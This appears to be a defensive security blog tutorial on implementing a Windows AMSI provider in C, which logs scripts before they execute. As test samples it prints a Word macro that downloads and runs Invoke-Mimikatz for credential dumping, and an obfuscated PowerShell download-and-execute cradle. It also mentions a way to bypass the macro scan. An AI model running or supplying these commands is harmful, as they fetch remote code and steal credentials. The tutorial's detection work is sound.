How to Implement an Anti-Malware Scanning Interface Provider

In 2015, Microsoft introduced the Antimalware Scan Interface (AMSI) as a generic application programming interface (API) for software applications to integrate with any installed antivirus (AV) software on Windows 10. AMSI allows developers of scripting engines such as Python, Ruby, or even Microsoft’s very own PowerShell to request the system’s AV to scan the script contents to determine if the script is malicious or benign prior to executing it.

Malicious actors and red teamers have increasingly turned to scripts, like VBScript or Powershell, as not only an infection vector but also for post-exploitation activity such as dumping credentials or ransoming files in these “file-less malware” attacks.

 A number of proofs of concept have been released in the past, such as PSAmsi and amsiscanner, that demonstrate how to write an AMSI client. However, very little has been written on actually implementing an AMSI provider. The documentation is severely lacking, so we’re going to change that.

Powering the COMponents

Since PowerShell is open-source, we can examine how a script gets scanned via AMSI prior to execution. The script is ultimately compiled prior to execution by the ReallyCompile function in System.Management.Automation.

Prior to compilation, a call to PerformSecurityChecks is executed which calls AmsiUtils.ScanContent and subsequently calls WinScanContent. WinScanContent sets up the AMSI session and context and calls amsi!AmsiScanString. which calls the IAntimalwareProvider::Scan() method for each registered AMSI provider in order which returns an AMSI_RESULT enumeration. If a provider returns a result other than AMSI_RESULT_NOT_DETECTED, the scanning stops and returns the results without calling the remaining providers.

Registering a Provider

An AMSI provider is a COM object that implements the IAntimalwareProvider COM interface. AMSI providers must register themselves by creating a CLSID entry in HKLM\CLSID and registering the same CLSID in HKLM\Software\Microsoft\AMSI\Providers\<CLSID_MyAMSIProvider>. When AMSI is initialized in the host process (powershell.exe, winword.exe, mshta.exe, etc.), it will enumerate each CLSID listed in the Providers key and initialize the COM object.

An example of the AMSI registration is provided below in the DllRegisterServer() method. The DLL can be registered by calling regsvr32.exe <path to amsi_provider.dll> with Administrator privileges:

DEFINE_GUID(CLSID_MyAMSIProvider, 0x2facaae, 0x5213, 0x42c7, 0x9b, 0x65, 0x12, 0x3a, 0xe7, 0x10, 0x13, 0xa8);
static const TCHAR gc_szClassDescription[] = TEXT("My AMSI Provider");
static const TCHAR gc_szBoth[] = TEXT("Both");
static const TCHAR gc_szThreadingModel[] = TEXT("ThreadingModel");
static const TCHAR gc_szInProcServer[] = TEXT("InProcServer32");
static HMODULE g_hModule = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
  switch (dwReason)
  {
               case DLL_PROCESS_ATTACH:
                       g_hModule = hModule;
                       break;
               case DLL_THREAD_ATTACH:
               case DLL_THREAD_DETACH:
               case DLL_PROCESS_DETACH:
                       break;
  }
  return TRUE;
}

STDAPI DllRegisterServer()
{
        HRESULT hr = S_OK;
        LONG lRet = ERROR_SUCCESS;
        HKEY hClsidKey = NULL;
        HKEY hInProcKey = NULL;
        HKEY hAmsiKey = NULL;
        LPOLESTR lpszGuid = NULL;
        TCHAR szRegKey[45] = { 0 };
        TCHAR szAMSIProvider[73] = { 0 };
        TCHAR szFileName[MAX_PATH] = { 0 };

        CoInitialize(NULL);

        lRet = GetModuleFileName(g_hModule, szFileName, sizeof(szFileName));
        if (lRet == 0) {
               hr = HRESULT_FROM_WIN32(GetLastError());
               goto done;
        }

        hr = StringFromCLSID(&CLSID_MyAMSIProvider, &lpszGuid);
        if (FAILED(hr))
               goto done;

        hr = StringCbPrintf(szRegKey, sizeof(szRegKey), TEXT("CLSID\\%s"), lpszGuid);
        if (FAILED(hr))
               goto done;

        hr = StringCbPrintf(szAMSIProvider, sizeof(szAMSIProvider), TEXT("Software\\Microsoft\\AMSI\\Providers\\%s"), lpszGuid);
        if (FAILED(hr))
               goto done;

        lRet = RegCreateKeyEx(HKEY_CLASSES_ROOT, szRegKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | KEY_CREATE_SUB_KEY, NULL, &hClsidKey, NULL);
        if (lRet != ERROR_SUCCESS) {
               hr = HRESULT_FROM_WIN32(lRet);
               goto done;
        }

        lRet = RegSetValueEx(hClsidKey, NULL, 0, REG_SZ, (PBYTE)gc_szClassDescription, sizeof(gc_szClassDescription));
        if (lRet != ERROR_SUCCESS) {
               hr = HRESULT_FROM_WIN32(lRet);
               goto done;
        }

        lRet = RegCreateKeyEx(hClsidKey, gc_szInProcServer, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hInProcKey, NULL);
        if (lRet != ERROR_SUCCESS) {
               hr = HRESULT_FROM_WIN32(lRet);
               goto done;
        }

        lRet = RegSetValueEx(hInProcKey, NULL, 0, REG_SZ, (PBYTE)szFileName, sizeof(szFileName));
        if (lRet != ERROR_SUCCESS) {
               hr = HRESULT_FROM_WIN32(lRet);
               goto done;
        }

        lRet = RegSetValueEx(hInProcKey, gc_szThreadingModel, 0, REG_SZ, (PBYTE)gc_szBoth, sizeof(gc_szBoth));
        if (lRet != ERROR_SUCCESS) {
               hr = HRESULT_FROM_WIN32(lRet);
               goto done;
        }

        lRet = RegCreateKeyEx(HKEY_LOCAL_MACHINE, szAMSIProvider, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | KEY_CREATE_SUB_KEY, NULL, &hAmsiKey, NULL);
        if (lRet != ERROR_SUCCESS) {
               hr = HRESULT_FROM_WIN32(lRet);
               goto done;
        }

done:
        if (hInProcKey != NULL)
               RegCloseKey(hInProcKey);

        if (hClsidKey != NULL)
               RegCloseKey(hClsidKey);

        if (lpszGuid != NULL)
               CoTaskMemFree(lpszGuid);

        CoUninitialize();

        return hr;
}

Now that we can receive AMSI callbacks, we need to implement the IAntimalwareProvider::Scan()interface to return a detection result. The method below enumerates the various attributes of the IAmsiStream:

  • AMSI_ATTRIBUTE_APP_NAME – application name such as OFFICE_VBA
  • AMSI_ATTRIBUTE_CONTENT_NAME – script file name
  • AMSI_ATTRIBUTE_CONTENT_SIZE – script buffer size
  • AMSI_ATTRIBUTE_CONTENT_ADDRESS – pointer to script buffer

HRESULT STDMETHODCALLTYPE MyAMSIProvider_Scan(IAntimalwareProvider* This, IAmsiStream* stream, AMSI_RESULT* result)
{
        HRESULT hr = S_OK;
        LPWSTR wszAppName = NULL;
        LPWSTR wszFileName = NULL;
        PUCHAR pBuf = NULL;
        ULONGLONG ululSize = 0;
        ULONG ulRetData = 0;

        DWORD dwRet = 0;
        CHAR lpPathName[MAX_PATH + 1] = { 0 };
        CHAR lpFileName[MAX_PATH] = { 0 };
        HANDLE hFile = NULL;
        BOOL bSuccess = FALSE;

        stream->lpVtbl->AddRef(stream);

        // Get the program executing the script
        hr = stream->lpVtbl->GetAttribute(stream, AMSI_ATTRIBUTE_APP_NAME, 0, (PUCHAR)wszAppName, &ulRetData);
        if (hr != E_NOT_SUFFICIENT_BUFFER)
               goto get_name;
        wszAppName = VirtualAlloc(NULL, ulRetData, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (wszAppName == NULL)
               goto get_name;
        hr = stream->lpVtbl->GetAttribute(stream, AMSI_ATTRIBUTE_APP_NAME, ulRetData, (PUCHAR)wszAppName, &ulRetData);
        if (FAILED(hr))
               goto get_name;

get_name:
        // Get the file name of the script
        hr = stream->lpVtbl->GetAttribute(stream, AMSI_ATTRIBUTE_CONTENT_NAME, 0, (PUCHAR)wszFileName, &ulRetData);
        if (hr != E_NOT_SUFFICIENT_BUFFER)
               goto get_size;
        wszFileName = VirtualAlloc(NULL, ulRetData, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if (wszAppName == NULL)
               goto get_size;
        hr = stream->lpVtbl->GetAttribute(stream, AMSI_ATTRIBUTE_CONTENT_NAME, ulRetData, (PUCHAR)wszFileName, &ulRetData);
        if (FAILED(hr))
               goto get_size;

get_size:
        // Get the size of the script data
        hr = stream->lpVtbl->GetAttribute(stream, AMSI_ATTRIBUTE_CONTENT_SIZE, sizeof(ululSize), (PUCHAR)&ululSize, &ulRetData);
        if (FAILED(hr))
               goto done;

        // Get a pointer to the script data
        hr = stream->lpVtbl->GetAttribute(stream, AMSI_ATTRIBUTE_CONTENT_ADDRESS, sizeof(pBuf), (PUCHAR)&pBuf, &ulRetData);
        if (FAILED(hr))
               goto done;

        dwRet = GetTempPathA(sizeof(lpPathName), lpPathName);
        if (dwRet == 0)
               goto done;

        dwRet = GetTempFileNameA(lpPathName, "SCR", 0, lpFileName);
        if (dwRet == 0)
               goto done;

        // Perform script analysis here

        hFile = CreateFileA(lpFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  

        bSuccess = WriteFile(hFile, pBuf, (DWORD)ululSize, NULL, NULL);

done:
        *result = AMSI_RESULT_NOT_DETECTED; // Do nothing
        //*result = AMSI_RESULT_DETECTED; // Block all the things

        if (hFile)
               CloseHandle(hFile);

        if (wszAppName)
               VirtualFree(wszAppName, 0, MEM_RELEASE);

        if (wszFileName)
               VirtualFree(wszFileName, 0, MEM_RELEASE);

        stream->lpVtbl->Release(stream);

        return hr;
}

For now, the example code will write the resulting script to a ‘SCR’ prefixed file in the temporary directory. If we set the result to AMSI_RESULT_DETECTED the scanning will short-circuit and the script will not be executed. Likewise, a result of AMSI_RESULT_CLEAN will short-circuit the scanning and the script will be executed.

In our proof of concept, we will set the result to AMSI_RESULT_NOT_DETECTED, so the script will continue execution and we can dump obfuscated scripts as they get parsed and evaluated. Each invocation of the deobfuscation will typically trigger an additional AMSI scan as the resulting deobfuscated string gets executed.

Implementing the rest of the COM interface and the detection algorithm is left as an exercise for the reader.

Providing Results

In order to test our AMSI provider with Microsoft Office macros, we must enable the Macro Runtime scan by creating a registry key:

[HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Security]"
"MacroRuntimeScanScope"=dword:00000002

We’ll test a simple Word document macro that calls Powershell to run the Invoke-Mimikatz script.

Sub AutoOpen()
    Dim sCmd, sTemp, sResultsTxtFile, sResultData, iRet
    Set oWshShell = CreateObject("WScript.Shell")
    sTemp = oWshShell.ExpandEnvironmentStrings("%Temp%")
    sResultsTxtFile = sTemp & "\Invoke-Mimikatz.out"

    sCmd = "powershell.exe -NoProfile -ExecutionPolicy Unrestricted -Command ""&{ IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'exit' | Out-File -Force " & sResultsTxtFile & "}"" "

    Shell sCmd
End Sub

When this document is opened and the macro is executed, our AMSI provider dumps out the following:

IWshShell3.ExpandEnvironmentStrings("%Temp%");
rtcShell("powershell.exe -NoProfile -ExecutionPolicy Unrestricted -Command "&{ IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command 'exit' | , "2");

It's interesting to note that we don’t see the exact macro script that was executed but, instead, a version parsed by the VBA engine. The WScript.Shell object is replaced with IWshShell3, the Shell command is replaced with rtcShell and the command line is truncated.

A limitation to AMSI callbacks is that it is opt-in by the scripting engine and in the case of VBE7.dll (Office’s Macro engine), the callbacks are executed on a subset of commands such as “Shell”. An attacker could easily bypass the AMSI callback by running CreateObject(“WScript.Shell”).Run(sCmd).

Since our example macro document executes Powershell, our AMSI provider will also dump the Powershell commands and scripts but that’s not interesting since they are deobfuscated.

Instead, we can test the Powershell AMSI functionality by running Daniel Bohannon’s favorite Invoke-CradleCrafter recipe:

gdr -*;Set-Variable 5 (&(Get-Item Variable:/E*t).Value.InvokeCommand.(((Get-Item Variable:/E*t).Value.InvokeCommand|Get-Member|?{(DIR Variable:/_).Value.Name-ilike'*ts'}).Name).Invoke('*w-*ct')Net.WebClient);Set-Variable S 'http://bit(dot)ly/e0Mw9w'; (Get-Item Variable:/E*t).Value.InvokeCommand.InvokeScript((GCI Variable:5).Value.((((GCI Variable:5).Value|Get-Member)|?{(DIR Variable:/_).Value.Name-ilike'*wn*g'}).Name).Invoke((GV S -ValueO)))

When this command is executed in a PowerShell window, about 10 new files are created in the temporary directory by our AMSI provider along with the contents of each script executed by Powershell.


Figure 1: List of files created by our custom AMSI Provider

Figure 2: The original obfuscated Powershell command

The obfuscated Powershell command ultimately downloads and executes a Powershell script from http://bit.ly/e0Mw9w which is captured in SCR599D.tmp.


Figure 3: The downloaded Powershell script

The downloaded Powershell script performs a number of steps. The first step is to decompress the $data variable which unpacks into a series of ASCII art frames which are animated by the script.


Figure 4: ASCII art of Rick Astley

Once the ASCII art is unpacked and loaded into Powershell, a media player object is instantiated to play Rick Astley’s “Never Gonna Give You Up” while the ASCII art is animated in the Powershell window.


Figure 5: Powershell commands to play an MP3


Figure 6: Powershell window displaying ASCII art